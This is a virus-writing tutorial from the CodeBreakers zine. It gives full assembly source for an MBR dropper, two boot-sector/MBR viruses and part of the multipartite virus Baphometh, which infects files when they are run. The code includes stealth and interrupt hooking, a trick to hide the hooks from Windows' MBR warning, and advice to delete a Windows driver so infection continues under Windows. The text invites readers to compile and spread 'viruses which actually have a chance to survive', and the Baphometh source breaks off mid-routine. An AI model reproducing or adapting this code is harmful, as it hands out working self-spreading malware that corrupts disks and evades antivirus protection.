Windows Compatible BS/MBR
and Multipartite Viruses
a tutorial written by SPo0Ky, with the help of Opic and CTRL-ALT-DEL
Welcome to the 5th CB tutorial, now that we have given you a solid foundation with our previous tutorials build upon; its time to move on, deeper into the fascinating world of viruses - viruses which actually have a chance to survive.
With the dying of MS-DOS old EXE and COM viruses became pretty obsolete, nowadays the only viruses having a chance to survive 'in the wild' are macro viruses, viruses infecting new executable formats (NE/PE/LE,..) and well programmed (windows compatible) boot and multipartite viruses. Closing the chapter on MS-DOS we'll start off showing you how to write BS- (Boot Sector), MBR- (Master Boot Record) and Multiparitite viruses. If you didn't do so yet, please read the previous editions of our magazine, a rather good knowledge of Assembler, MS-DOS and TSR viruses is required to understand this tutorial.
Normally Horny Toad would have written this tutorial, though he has been a bit busy with his life in the last half year so I had to write it. He will be back around Y2K, so you can expect articles from him again in CB#6/7. In the meantime I hope you do not have any problems understand my not so native language english :-)
- What is a BS/MBR virus? -
BS and MBR viruses do not infect files, they infect sectors of disks (Bootsectors and Master Boot Records). In my opinion they are easier to write then EXE infectors. There is no maths to do, stealth is much easier to implement and there is no changing filesize/time/date which could make the user suspicious. The only problems you have to worry about are Windows and the BIOS Virus Warning, both have some generic antivirus features built in. In most BIOSs there is an option which when enabled prevents any program to write to the MBR of a HDD, or at least it asks the user if he really wants to allow the program to write to the MBR. Also Windows displays a message box when the MBR has been changed warning the user of a possible virus infection. Both of these antivirus features can be easily passed though.
- Master Boot Records, Bootsectors and Partition Tables -
The Master Boot Record is located on the first sector of each harddisk drive. Please note that there is a difference between a Master Boot Record and a Bootsector, many people don't seem to know that. Floppies do NOT have a MBR, they only have a bootsector, the MBR ONLY exists on the first physical sector of a HDD. The first physical sector of a floppy and the first sector of a partition is called a bootsector.
The first 446 bytes of the MBR consist of code which gets loaded to 0000:7C00 and then executed by the BIOS when you switch your computer on, the rest consists of the partition table and 2 marker bytes (55h + AAh), this last two bytes indicate that it is a valid MBR, if they are missing you'll get a error message when trying to boot from such a disk. The purpose of the MBR's code is to check the partition table - which stores information about the partitions on a HDD - and to find the partition which is marked as 'bootable'. After it has found the bootable partition it loads the first sector of this partition (-> the bootsector) into memory and executes it.
The format of the MBR and Partition Table looks like this:
Offset from
Start of Disk Offset Size Description
000H 00H 446 bytes Executable Code
1BEH (Partition Table starts here) 1st Partition Table Entry
00H 1 byte Boot Indicator
01H 1 byte Beginning Head
02H 1 byte Beginning Sector
03H 1 byte Beginning Cylinder
04H 1 byte System Indicator
05H 1 byte Ending Head
06H 1 byte Ending Sector
07H 1 byte Ending Cylinder
08H 4 bytes Relative Starting Sector
0CH 4 bytes Number of Sectors
1CEH 2nd Partition Table Entry
00H 1 byte Boot Indicator
01H 1 byte Beginning Head
02H 1 byte Beginning Sector
03H 1 byte Beginning Cylinder
04H 1 byte System Indicator
05H 1 byte Ending Head
06H 1 byte Ending Sector
07H 1 byte Ending Cylinder
08H 4 bytes Relative Starting Sector
0CH 4 bytes Number of Sectors
1DEH 3rd Partition Table Entry
00H 1 byte Boot Indicator
01H 1 byte Beginning Head
02H 1 byte Beginning Sector
03H 1 byte Beginning Cylinder
04H 1 byte System Indicator
05H 1 byte Ending Head
06H 1 byte Ending Sector
07H 1 byte Ending Cylinder
08H 4 bytes Relative Starting Sector
0CH 4 bytes Number of Sectors
1EEH 4th Partition Table Entry
00H 1 byte Boot Indicator
01H 1 byte Beginning Head
02H 1 byte Beginning Sector
03H 1 byte Beginning Cylinder
04H 1 byte System Indicator
05H 1 byte Ending Head
06H 1 byte Ending Sector
07H 1 byte Ending Cylinder
08H 4 bytes Relative Starting Sector
0CH 4 bytes Number of Sectors
(Partition Table ends here)
1EFH 00H 2 bytes 55AAH Signature
Bootsectors are located on cylinder 0, head 0 and sector 1 on floppy disks, on HDDs they are located on the first sector of every partition. Their purpose is to load the operating system which is installed on the corresponding partition, bootsectors also provide information about the disk which is nesseccary for the OS to be able to access it, a MS-DOS bootsector looks like this:
Offset: Size: Description:
00H - 3 bytes - JUMP Instruction to Executable Code
03H - 8 bytes - Optional OEM Name and Version
0BH - 2 bytes - Bytes Per Sector
0DH - 1 byte - Sectors Per Allocation Unit
0EH - 2 bytes - Reserved Sectors (Starting at 0)
10H - 1 byte - Number of File Allocation Tables
11H - 1 byte - Number of Root Directory Entries
13H - 2 bytes - Total Number of Sectors (if size is larger than
32MB, this value is 0 and the size is a
offset 20H)
15H - 1 byte - Media Descriptor
16H - 2 byte - Number of Sectors Per FAT
18H - 2 bytes - Sectors Per Track
1AH - 2 bytes - Number of Heads
1CH - 4 bytes - Number of Hidden Sectors
20H - 4 bytes - Total Number of Sectors (See offset 13H)
24H - 2 bytes - Physical Drive Number
26H - 1 byte - Extended Boot Record Signature (29H)
27H - 4 bytes - Volume Serial Number
2BH - 11 bytes - Volume Label
36H - 7 bytes - File System Identifier (FAT12 ), (FAT16 ),...
As you can see, the format of both the MBR and BS are very simple, and, as you'll see later, the good thing is that you do not even have to change any of these values to infect the computer :-)
- Interrupts/Functions we will make use of -
* Interrupt 13h / AH = 2
Int 13h/Func 2 is used to read one or more sectors from a disk into
memory.
AH = 02h
AL = number of sectors to read (must be nonzero)
CH = low eight bits of cylinder number
CL = sector number 1-63 (bits 0-5)
high two bits of cylinder (bits 6-7, hard disk only)
DH = head number
DL = drive number (bit 7 set for hard disk)
ES:BX -> data buffer
* Interrupt 13h / AH = 3
Same as function 2, but instead of reading it writes data to sectors on
a disk.
AH = 03h
AL = number of sectors to write (must be nonzero)
CH = low eight bits of cylinder number
CL = sector number 1-63 (bits 0-5)
high two bits of cylinder (bits 6-7, hard disk only)
DH = head number
DL = drive number (bit 7 set for hard disk)
ES:BX -> data buffer
* Interrupt 19h
This interrupt reboots the system without clearing memory or restoring
interrupt vectors. It should be called with the value in DL representing
the boot drive (00h+ = floppy; 80h+ harddisk drive)
- Infection Theory -
When you switch the computer on the virus gets loaded into memory from either the bootsector if you are booting from a floppy, or from the MBR if you are booting from a HDD (actually doesn't matter), and may then follow this steps for example:
Interrupt 19h requires the bootdrive in DL. The bootdrive is stored in DL when the BS/MBR got loaded, so make sure that you never change DL in the above steps until you call INT 19h!
When INT 19h gets executed it will load the first sector (BS on floppies or the MBR on HDD's) of the drive (DL) into memory. At this point we need a stealth routine, else INT 19h would load the virus into memory again and again (and thus hang the computer). The stealth routine will have to check if something is trying to read the first sector of a disk and if this disk is already infected. If it is infected the stealth routine has to redirect the 'read function' to the sector where the original BS/MBR is stored, so that INT 19h will read the original sector instead of reading the already infected one again.
Here is the INT 13h handler for stealth and infection:
Thats about everything there is to do (in a very generic BS/MBR virus), before I continue with the source code I'll try to explain the basics of how the MS-DOS filesystem works.
- The MS-DOS Filesystem -
The structure of a MS-DOS partition (or of a for MS-DOS formated floppy) +---+-----+-----+-----+---------------------------------------------------+ |BBB|FFFFF|FFFFF|RRRRR|DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD| |BBB|FFFFF|FFFFF|RRRRR|DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD| +---+-----+-----+-----+---------------------------------------------------+ | | | | | | +-----+ | +-- Data Area | | +-------------------------- Root Directory | +-------------------------------- File Allocation Tables (FAT) +------------------------------------------- Boot Sector
The Boot Sector, File Allocation Tables and the Root Directory are the System Area of a MS-DOS disk, they use only a few sectors of the disk to store information about the disk and about the files stored on the disk.
Clusters?
Well, instead of using sectors DOS divides a disk up into logical units, called clusters. A cluster consists of one or more sectors, its size can be as small as one sector or much bigger (-> defined in the boot sector).
File Allocation Tables (FATs)
DOS needs a way to manage the space on the disk, it needs to know which clusters of the disk are available to store new data, and which clusters are already used by files. The FAT is just a table of numbers, each cluster has one FAT entry which can have one of these values:
Value Meaning 00000h Free Sector 0FFF0h to 0FFF6h Reserved 0FFF7h Bad Sector - data error or other 0FFF8h to 0FFFFh End of File Chain All other numbers are pointers to the next cluster in the chain.
Each FAT entry can be either 12, 16 or 32 bits long, the bigger the disk is the more bits are needed. FAT12 goes up to 16MB (Floppies, and small HDD's), FAT16 goes up to 2GB and FAT32 goes up to 4TB (Terrabytes). There are two copies of the FAT, but only the first one is actually used, the second one could be used to perform datarecovery if the first FAT got corrupted.
The Root Directory
The root directory consists of 32 byte entries, the number of possible entries is specified in the boot sector. Each entry stores information like name and extension, attribute, time and date of last write access, start cluster and the filesize about one file or directory.
If DOS wants to read a file it has to find the corresponding entry in the root directory first. After that it can read the data beginning at the starting cluster specified in the directory entry, after reading the data of the first cluster it has to lookup the next cluster in the FAT, it continues this loop of reading/finding next cluster until it has read the number of bytes specified in the file's directory entry.
You can read vulture's ASM Tutorial #2, which he suggested to include into this edition of our magazine, if you want a much more detailed explanation of the MS-DOS filesystem.
- The Source Code -
After lots of theoretical stuff here is finally the source code to a simple BS/MBR infector and its dropper.
The Dropper
- you need it to 'install' the virus on a HDD's MBR, after you finished compiling the virus (following the instructions in its source code) you get a file called virus.bin. The dropper program will save the original MBR of the HDD at sector 2 (like the virus would do it) and then overwrite the MBR with the code contained in virus.bin.
Before you continue reading the following parts of this tutorial I suggest you to copy/paste this virus's source code, compile it, test it (on an old machine :-) and edit it until you understand -exactly- how it works, most of the time studying some well commented source codes is much more helpful then reading a tutorial. But before you give it a run on your computer you might probably want to make a backup copy of your MBR so you can easily disinfect your HDD again, my favority program for doing this is TBUTIL which is included in the ThunderByte AntiVirus package, available at www.thunderbyte.com, its easy to use, just type TBUTIL ST to save your MBR and TBUTIL RE to restore it (don't forget to reboot after restoring the MBR). You can also use Evil-E's programs to save/restore your MBR, they are in the utilities directory (including source code).
Please execute the dropper program in 100% MS-DOS. Both this virus and it's dropper will not functioning in Windows. To make the virus work in Windows read on below (after the virus source code).
--- Dropper source code starts here ---
.286
dropper segment para private 'code'
assume cs:dropper, ds:dropper, es:dropper
start:
mov ax,dropper
mov ds,ax
mov es,ax
mov ax,3D02h
lea dx,virus
int 21h ; open the file 'virus.bin'
xchg ax,bx
mov ah,3fh
lea dx,viruscode
mov cx,512
int 21h ; read 512 bytes (one sector) from virus.bin into memory
mov ah,3eh
int 21h ; close the file
mov dl,80h ; we'll put it onto the first HDD (80h)
mov ax,0201h ; read, one sector
lea bx,MBR ; to offset MBR
mov cx,1 ; from cylinder 0, sector 1
mov dh,0 ; and head 0 (location of the MBR)
int 13h
mov ax,0301h
lea bx,MBR
mov cx,2 ; save the original MBR at sector 2
mov dh,0
int 13h
lea si,MBR ; save the partition table data at offset
add si,1BEh ; viruscode + 1BEh
lea di,viruscode
add di,1BEh
mov cx,66
rep movsb
mov ax,0301h ; overwrite the original MBR with our virus
lea bx,viruscode
mov cx,1
mov dh,0
int 13h
mov ax,4C00h
int 21h ; done
virus db 'virus.bin',0
viruscode db 512 dup(?) ; buffer for the virus's code
MBR db 512 dup(?) ; buffer for the original MBR
dropper ends
end start
--- Dropper source code ends here ---
--- Virus source code starts here ---
; How to compile it:
; save it as virus.asm, then type
; TASM virus.asm
; TLINK virus.obj
; EXE2BIN virus.exe
;
; Everything the EXE2BIN program does is to cut away the exe header
; and to save the resulting file as virus.bin, what you will need
; is virus.bin, not virus.exe!
.286
Virus segment para private 'code'
assume CS:Virus
ORG 0
Start:
jmp $+3Ch+3
nop
db 3Ch dup(?) ; All the floppy stuff will be stored here
xor ax,ax ; setup the stack, as BS/MBR's get loaded to 0:7C00h
cli ; its best to set sp to the same
mov ss,ax
mov sp,7c00h
sti
mov ds,ax
int 12h ; same as mov ax, [0000:0413h]
dec ax ; decrease free memory by one Kb
mov ds:[0413h],ax ; save it
shl ax,6 ; convert to segments
mov es,ax
mov si,7C00h ; copy the virus to the top of memory
xor di,di
mov cx,TheEnd - Start
rep movsb
xor ax,ax
mov ds,ax
lea ax,NewInt13h
mov bx,es
cli
xchg ax,ds:[13h*4] ; hook int 13h,
xchg bx,ds:[13h*4+2]
mov ds:[0F6h*4],ax ; and save its original address at int 0F6h so
mov ds:[0F6h*4+2],bx ; we can use int 0F6h as int 13h without
sti ; activating the stealth routine
call Payload ; displays a message on the 1st of every month
; when booting from an infected disk.
int 19h ; now reboot (tries to re-read the BS/MBR,
; this time the stealth routine is active and
; thus it will load the original sector)
NewInt13h: ; new interrupt 13h
cmp ah,2 ; is something being read?
jne NotForUs
cmp cx,1 ; from cylinder 0 (CH), sector 1 (CL)?
jne NotForUs
cmp dh,0 ; and from head 0?
jne NotForUs
int 0F6h ; if so, read it to the address where it is
; supposed to go
jnc ViralStuff ; either infect it, or stealth it
retf 2 ; if there was an error leave the isr without
; restoring the flags (as they indicate the
; error).
NotForUs:
int 0F6h ; if there is nothing to be read, or if it is
retf 2 ; not being read from CHS 0/0/1 then exit
; the isr also.
ViralStuff:
pushf
pusha
push es
push ds
cmp es:[bx+offset InfectionMarker],'CB' ; check the read sector for our
jne Infect ; infection marker. if its
; already there we stealth it,
; else we infect the disk
mov ax,0201h ; stealth routine (simple, isn't
call GetBSMBRSector ; it? :-) GetBSMBRSector fills
int 0F6h ; CX and DX with the correct
; values (either second sector
; if we are working with a HDD,
; or end of root directory -
; head 1, cylinder 14 if its
; a floppy)
jmp Return ; stealth - done
Infect:
mov ax,0301h ; here we go if there was no infection marker
call GetBSMBRSector ; found yet. again, fill CX and DX with the
int 0F6h ; correct values, and save the original BS/MBR
push es cs ; DS = ES
pop es ds ; ES = CS
mov si,bx ; copy the floppy stuff (Bios Parameter Block
add si,2 ; and such) into our virus, from ES:BX+2 to
lea di,[Start+2] ; CS:Start+2
mov cx,3Ch
rep movsb
mov si,bx ; also the paritiontable has to be copied
add bx,offset PartitionTable ; if we want to keep the HDD accessible
lea di,PartitionTable ; even when the virus is not memory resident.
mov cx,64 ; you can just leave this routine away if you
rep movsb ; don't want the user to be able to access
; the HDD while the virus is not resident.
mov ax,0301h
xor bx,bx
mov cx,1
mov dh,0 ; and finally overwrite the original BS/MBR
int 0F6h ; with the virus code.
return:
pop ds
pop es
popa
popf
retf 2 ; exit the isr, again without restoring the
; flags!
GetBSMBRSector: ; this routine fills CX and DX with the correct
; values (-> cylinder, heads, sectors where the
; original BS/MBR is stored)
or dl,dl
js HDD ; it is a HDD if DL is greater then 80h.
; 80h in binary is 10000000b, so we just have
; to check if the SIGN flag is set after a
; OR DL,DL
mov cx,14 ; if its a floppy we use sector 14, cylinder 0
mov dh,1 ; and head 1 (end of root directory).
ret
HDD:
mov cx,2 ; if its a HDD it uses sector 2, cylinder 0
mov dh,0 ; and head 0.
ret
Payload: ; a simple and harmless payload, it just
mov ah,4 ; displays a message on every 1st of a month
int 1ah ; when booting from an infected disk.
cmp dl,1
je DisplayMessage
ret
DisplayMessage:
lea si,[7C00h + Message]
mov ah,0eh
mov bx,7
MsgLoop:
lodsb
or al,al
jz MsgDone
int 10h
jmp MsgLoop
MsgDone:
xor ah,ah
int 16h
ret
InfectionMarker dw 'CB'
Message db ' Your puter''s ill',0ah,0dh
db ' --CB Staff',0ah,0dh,0ah,0dh
db ' http://www.avp.ch, coz http://www.nai.com sux',0ah,0dh
ORG 1BEh ; don't forget this ORG 1BEh (ORG 446) as
; the partition table begins at this offset
PartitionTable db 64 dup(?)
db 55h, 0AAh
TheEnd label byte
Virus ends
end start
--- Virus source code ends here ---
- Windows!? -
Now that you have (hopefully) understood and tested the above virus you will probably have experienced some problems when trying to running it in Windows.
Ok lets get rid of the first problem. The problem here is that Windows doesn't allow you to 'directly' access disks using INT 13h, the easiest solution for this problem I have found is just to use a fake INT 13h call (thanks to Device for this suggestion :-). Instead of writing INT 13h, you write:
pushf call dword ptr cs:[OriginalInt13h]
OriginalInt13h certainly needs to be filled with the segment:offset of the original interrupt 13h first,
push ax si ds xor ax,ax mov ds,ax lds si,ds:[13h*4] ; load int13's segment and offset into DS:SI mov word ptr cs:[OriginalInt13h],si mov word ptr cs:[OriginalInt13h+2],ds pop ds si ax
... after that you can always use PUSHF / CALL to execute the INT 13h call, even while in Windows.
On to problem number two, this one needs a few thoughts first. Why does windows display this message box? Actually windows is lying when it's telling the user that his MBR has been changed - it doesn't even check the MBR. All it does is check the address of the ISR 13h, if it doesn't point into read only memory (which means that it has been hooked, by a virus for example) it displays the warning message. So everything we'd have to do is to make INT 13h point into read only memory when we hook it. Problem is, we'd also have to copy the virus into ROM, which can't be done.
I have found the solution to this in the virus Lilith (credits to its author, whoever that is :-)
What Lilith does is it first searches the ROM (0F000:0000 -> 0F000:FFFF) for the opcode of INT 18h (which is 18CDh). It then makes INT 13h point to the address where it has found the INT 18h opcode, and finally it hooks INT 18h to the address of the virus's INT 13h handler. So when INT 13h gets called it first jumps into ROM, at this address a INT 18h gets executed - which then jumps to the virus code.
Here is another example virus, it is the same as the above virus with the only difference that it uses the 'INT 18 tech' to prevent Windows from noticing the possible virus infection.
--- Virus source code starts here ---
.286
Virus segment para private 'code'
assume CS:Virus
ORG 0
Start:
jmp $+3Ch+3
nop
db 3Ch dup(?)
xor ax,ax
cli
mov ss,ax
mov sp,7c00h
sti
mov ds,ax
int 12h
dec ax
mov ds:[0413h],ax
shl ax,6
mov es,ax
mov si,7C00h
xor di,di
mov cx,TheEnd - Start
rep movsb
push es ; push the address of the newly allocated memory,
push offset InMem
retf ; and jump to it
InMem:
xor ax,ax
mov es,ax ; set ES to zero (interrupt table)
mov ax,0F000h ; make DS point to the beginning of the ROM.
mov ds,ax
xor si,si ; start to search at offset zero.
Int18hLoopy:
cmp word ptr ds:[si],18CDh ; search for the opcode of INT 18h.
je FoundInt18h ; if its been found, exit.
inc si ; else check the next two bytes.
cmp si,0FFFFh ; continue this loop until the opcode has been found
jne Int18hLoopy ; or until SI = FFFF.
lea ax,NewInt13h+3 ; if the opcode of INT 18h has NOT been found we
mov bx,cs ; hook INT 13h normally..
cli
xchg ax,word ptr es:[13h*4]
xchg bx,word ptr es:[13h*4+2]
mov word ptr es:[0F6h*4],ax
mov word ptr es:[0F6h*4+2],bx
sti
jmp Reboot
FoundInt18h: ; if the opcode was found execution continues here,
; with the address of an INT 18h opcode in F000:SI
xor ax,ax
mov ds,ax ; DS = 0 (interrupt table)
cli
les bx,ds:[13h*4] ; load the address of the original INT 13h entry
; into ES:BX
mov ds:[0F6h*4],bx ; make INT 0F6h = original INT 13h
mov ds:[0F6h*4+2],es
mov ds:[13h*4],si ; hook INT 13h to the address where the
mov word ptr ds:[13h*4+2],0F000h ; INT 18h opcode was found
mov word ptr ds:[18h*4],offset NewInt13h ; and finally, make INT 18h point
mov ds:[18h*4+2],cs ; to the virus's code.
sti
Reboot:
int 19h
NewInt13h:
add sp,6 ; <--- do not forget this ADD SP,6 at the beginning of your
; INT 13h routine if you use this technique!!
; Whats that for!?
; Well, when a program executes an INT 13h the CPU first
; pushes the flags followed by CS:IP of the next instruction,
; then it jumps to the INT 18h opcode, which again pushes the
; flags followed by another pair of CS:IP. You have to get
; rid of the 3 values pushed by INT 18h, else the CPU would
; jump past the INT 18h opcode (which can be anything,
; code/data/...) and crash once an IRET is executed.
; ADD SP,6 moves the stack pointer 6 bytes (3 words) up
; again... making the INT 18h call seem to have never
; happend :-)
; - everything below this line is the same as in the first example virus -
cmp ah,2
jne NotForUs
cmp cx,1
jne NotForUs
cmp dh,0
jne NotForUs
int 0F6h
jnc ViralStuff
retf 2
NotForUs:
int 0F6h
retf 2
ViralStuff:
pushf
pusha
push es
push ds
cmp es:[bx+offset InfectionMarker],'CB'
jne Infect
mov ax,0201h
call GetBSMBRSector
int 0F6h
jmp Return
Infect:
mov ax,0301h
call GetBSMBRSector
int 0F6h
push es cs
pop es ds
mov si,bx
add si,2
lea di,[Start+2]
mov cx,3Ch
rep movsb
mov si,bx
add bx,offset PartitionTable
lea di,PartitionTable
mov cx,64
rep movsb
mov ax,0301h
xor bx,bx
mov cx,1
mov dh,0
int 0F6h
return:
pop ds
pop es
popa
popf
retf 2
GetBSMBRSector:
or dl,dl
js HDD
mov cx,14
mov dh,1
ret
HDD:
mov cx,2
mov dh,0
ret
InfectionMarker dw 'CB'
ORG 1BEh
PartitionTable db 64 dup('X')
db 55h, 0AAh
TheEnd label byte
Virus ends
end start
--- Virus source code ends here ---
Problem #3: why do the disks not get infected when they are accessed in Windows? Thats because Windows uses its own (32bit) routines to access disks. We'd have to get Windows to use the good old BIOS routines again to be able to infect accessed disks even while in Windows. The solution is simple, you just delete (INT 21h / Func 41h) Windows's floppy disk driver, which is C:\WINDOWS\SYSTEM\IOSUBSYS\HSFLOP.PDR. The example virus in the next part (Baphometh v1.0) will do exactly this to continue it's dirty work even while in windows.
- Multipartite -
Multipartite viruses are viruses which infect both BS/MBRs and files. Well, to infect files the virus has to hook INT 21h, the only thing that keeps us from just hooking this interrupt is that MS-DOS is not loaded at the time the virus code is run (at boot time).
To be able to hook the MS-DOS interrupt/functions we have to WAIT until MS-DOS finished loading.
The easiest method to wait until MS-DOS is loaded probably is to just hook INT 1Ch or INT 8h (Timers - these interrupts are called 18.2 times per second) and to install a counter into them which gets increased by one everytime they are executed. If you want to wait 5 seconds for example you'd check the counter for 5 * 18.2. After this time you could be rather sure that MS-DOS finished loading and that all of its functions are available now. The problem with this method is that all computers have different speeds, so it could crash on very slow computers as 5 seconds are not enough for them to load DOS, and the very fast ones might crash as they might already have began loading Win95 after these 5 seconds. I think the method CTRL-ALT-DEL uses in the new version of his multipartite virus Baphometh (v2.1) is much better, what he does is to not use timer interrupts, but instead implement a routine which checks the interrupt vectors of INT 20h and INT 21h - he assumes that DOS finished loading once the segments of INT 20h and of INT 21h are not zero anymore, once they are below 0800h, and once both point to the same segment. The INT 13h handler of Baphometh V2.1 looks like this:
EvilInt13h:
pushf
cmp ah,0F2h ; install check
jne NoInstallCheck
mov bx,4321h
popf
iret
NoInstallCheck:
pusha ; here starts the routine
push ds
cmp byte ptr cs:[DosFinishedLoading],1 ; leave the routine if it has
je DontHookInt21hYet ; already detected that DOS
; has finished loading in a
; previous call.
xor ax,ax
mov ds,ax ; DS = interrupt table
mov ax,ds:[21h*4+2] ; AX = segment of INT 21h
cmp ax,0 ; exit if its zero
je DontHookInt21hYet
cmp ax,800h ; exit if its above 800h
ja DontHookInt21hYet
cmp ax,ds:[20h*4+2] ; if it is not the same as the segment of INT 21h
jne DontHookInt21hYet ; exit also
mov byte ptr cs:[DosFinishedLoading],1 ; else it sets the flag which
; indicates that dos finished
; loading,
lea ax,EvilInt21h ; and hooks INT 21h
mov bx,cs
cli
xchg ax,ds:[21h*4]
xchg bx,ds:[21h*4+2]
mov word ptr cs:[GoodInt21h],ax
mov word ptr cs:[GoodInt21h+2],bx
sti
DontHookInt21hYet:
pop ds
popa
cmp ah,2
jne NotForUs
cmp cx,1
jne NotForUs
cmp dh,0
jne NotForUs
... and so on...
Please note that this was the interrupt handler of Baphometh v2.1, previous versions (v1.0 and v2.0) used the timer method to wait until DOS finished loading.
The full source codes of version 2.0 and v2.1 are included in the magazine. Anyway, as you can see writing such a virus is not hard either, the only critical part is to hook INT 21h at the exact time.
Following is the source code of Baphometh v1.0, it was not very optimized written and contains quit some stuff which does not nessecary have to be included in an example virus. Just concentrate on the important parts like the timer routine, interrupt hooking, once you understood these theories there should not be any problems for you anymore to use your own creativity to come up with other (maybe even better) methods of accomplishing the same results.
--- Virus source code starts here ---
; Baphometh was written by CTRL-ALT-DEL, a member of The CodeBreakers and
; of the Alternative Virus Mafia, some comments have been added by SPo0Ky
; for CB5.
;
; How to compile it:
; save it as bapho.asm, then type
; TASM bapho.asm
; TLINK bapho.obj
;
; There is no need for EXE2BIN or for a dropper in this virus, just execute
; the generated .EXE file and it will infect the MBR of your first HDD,
; infect Win.com, and hook INT 21h. The next time you boot your computer
; it will also hook INT 13h to infect accessed disks.
.286
Baphometh segment
assume cs:Baphometh
ORG 0
COM equ 0
EXE equ 1
StartOfBaphometh:
jmp OverFloppyStuff
db 3Ch dup(?)
OverFloppyStuff:
xor ax,ax
cli
mov sp,7C00h
mov ss,ax
sti
mov ds,ax
sub word ptr ds:[413h],4 ; decrease the top of memory by 4KB
mov ax,ds:[413h]
shl ax,6
mov es,ax
push cs
pop ds
mov cx,EndOfFirstPart - StartOfBaphometh
xor di,di
mov si,7C00h
rep movsb ; copy the virus to top of memory
push es
push offset TopOfMem
retf ; continue execution at TopOfMem
Marker dw 'DT'
GetBaphomethSector: ; baphometh consists of more then one sector
mov cx,12 ; of code, this routine returns the cylinder,
mov dh,1 ; head and sector of where the rest of the
cmp dl,80h ; virus code is stored (cylinder 0, head 1,
jb ItsAFloppy ; sector 12 on floppies and cylinder 0,
mov cx,3 ; head 0, sector 3 on HDD's).
mov dh,0
ItsAFloppy:
ret
TopOfMem:
xor ax,ax
mov ds,ax
lea ax,EvilInt13h ; hook interrupt 13h
mov bx,cs
cli
xchg ds:[13h*4],ax
xchg ds:[13h*4+2],bx
mov word ptr cs:[GoodInt13h],ax
mov word ptr cs:[GoodInt13h+2],bx
sti
mov ax,0202h ; read the rest of baphomeths code
lea bx,EndOfFirstPart ; into memory (append it after the
call GetBaphomethSector ; first 512 bytes)
call OldInt13h
mov word ptr cs:[Timer],0 ; reset the timer
mov DosFinishedLoading,0 ; 0 = dos not loaded yet
lea ax,EvilInt1Ch ; hook int 1Ch (timer which gets
mov bx,cs ; executed 18.2 x per second)
cli
xchg ds:[1Ch*4],ax
xchg ds:[1Ch*4+2],bx
mov word ptr cs:[GoodInt1Ch],ax
mov word ptr cs:[GoodInt1Ch+2],bx
sti
push cs
pop ds
int 19h ; reboot
EvilInt1Ch: ; INT 1Ch handler
pushf
pusha
push ds
cmp byte ptr cs:[DosFinishedLoading],1
je DontHookInt21hYet ; if dos has finished loading yet it
; just leaves the interrupt
inc word ptr cs:[Timer] ; else increase the Timer by one
cmp byte ptr cs:[Timer],190 ; if 10 seconds (190 / 18.2) have
jb DontHookInt21hYet ; passed it hooks INT 21h,
mov DosFinishedLoading,1 ; and sets the flag indicating that
; dos is ready.
call HookInt21h
DontHookInt21hYet:
pop ds
popa
popf
db 0eah
GoodInt1Ch dd ?
Timer dw 0
DosFinishedLoading db 0
EvilInt13h: ; INT 13h handler
pushf
cmp ah,0F2h ; installation check is INT 13h/0F2h
jne NoInstallCheck
mov bx,4321h
popf
iret
NoInstallCheck:
cmp ah,2 ; something read?
jne NotForUs
cmp cx,1 ; from cylinder 0 / sector 1?
jne NotForUs
cmp dh,0 ; and head 0?
jne NotForUs ; if not, exit
popf
call OldInt13h ; else read it,
jnc EatIt ; and eat it :-)
retf 2
NotForUs:
popf
db 0EAh
GoodInt13h dd ?
OldInt13h:
pushf
call dword ptr cs:[GoodInt13h]
ret
EatIt: ; BS/MBR infection/stealth routine
pushf
pusha
push ds
push es
cmp es:[bx+Marker],'DT' ; is the read BS/MBR infected yet?
jne InfectSector
mov ax,0201h ; if yes, stealth it
call GetStealthSector
call OldInt13h
jmp Done
GetStealthSector: ; this routine is used to get the
mov cx,2 ; position of the original BS/MBR,
mov dh,0 ; it is stored at cylinder 0,
cmp dl,80h ; head 0, sector 2 on HDD's - and on
jae NoFloppy ; cylinder 0, sector 14, head 1 on
mov cx,14 ; floppies.
mov dh,1
NoFloppy:
ret
InfectSector: ; infection routine
mov ax,0301h ; first it saves the original BS/MBR
call GetStealthSector
call OldInt13h
push es
pop ds
push cs
pop es
mov si,bx ; copies the BS's BPB (3Ch bytes) into
push si ; the virus:offset 3
add si,2
lea di,[StartOfBaphometh+2]
mov cx,3Ch
rep movsb
pop si
add si,1BEh
lea di,PartitionTable
mov cx,40h ; and the partition table (40h bytes) to
rep movsb ; offset 1BEh
mov ax,0301h ; then overwrites the original BS/MBR
lea bx,StartOfBaphometh ; with the virus
mov cx,1
mov dh,0
call OldInt13h
mov ax,0302h ; and saves the left 2 sectors of the
lea bx,EndOfFirstPart ; virus
call GetBaphomethSector
call OldInt13h
Done:
pop es
pop ds
popa
popf
retf 2
Header db 1Ch dup(?)
FileSize dd ?
; db 'X' ;------
ORG 1beh
PartitionTable:
db 64 dup('P')
db 55h,0AAh
EndOfFirstPart: ; this is the end of the first part of the
; virus, everything below that offset got
; manually loaded somewhere in the above
; code.
EvilInt24h: ; INT 24h handler
iret ; ... hooked when infecting a file, to
GoodInt24h dd ? ; prevent the error message if a disk is
; write protected.
HookInt21h: ; this is the routine which hooks int 21h,
pusha ; it gets called by the timer interrupt 1Ch
push ds ; after 10 seconds.
xor ax,ax
mov ds,ax
lea ax,EvilInt21h
mov bx,cs
cli
xchg ax,ds:[21h*4]
xchg bx,ds:[21h*4+2]
mov word ptr cs:[GoodInt21h],ax
mov word ptr cs:[GoodInt21h+2],bx
sti
pop ds
popa
ret
EvilInt21h: ; INT 21h handler
pushf
cmp ax,0DEADh ; 0DEADh is the installation check
jne NoInt21InstallCheck
mov bx,0BCBCh
popf
iret
NoInt21InstallCheck:
cmp ah,4bh ; infect on execution (func 4Bh)
je InfectFile
RestoreInt21h: ; else exit
popf
db 0eah
GoodInt21h dd ?
InfectFile:
pusha
push ds es
push ds
xor ax,ax
mov ds,ax
lea ax,EvilInt24h ; at first hook int 24h to prevent
mov bx,cs ; any error messages
cli
xchg ax,word ptr ds:[24h*4]
xchg bx,word ptr ds:[24h*4+2]
mov word ptr cs:[GoodInt24h],ax
mov word ptr cs:[GoodInt24h+2],bx
sti
pop ds
mov ax,4300h ; save file attributes
int 21h
push dx ds cx
mov ax,4301h ; set file attributes to zero
xor cx,cx
int 21h
jnc NoErrorsWritingToDisk ; if there was an error when setting
jmp FileError ; the attributes the disk is probably
; write protected, so it doesn't
; continue infection.
NoErrorsWritingToDisk:
mov ax,3d02h ; open the file
int 21h
jnc Opened
jmp FileError
Opened:
xchg ax,bx
push cs cs
pop ds es
mov ax,5700h ; save file time/date
int 21h
push cx dx
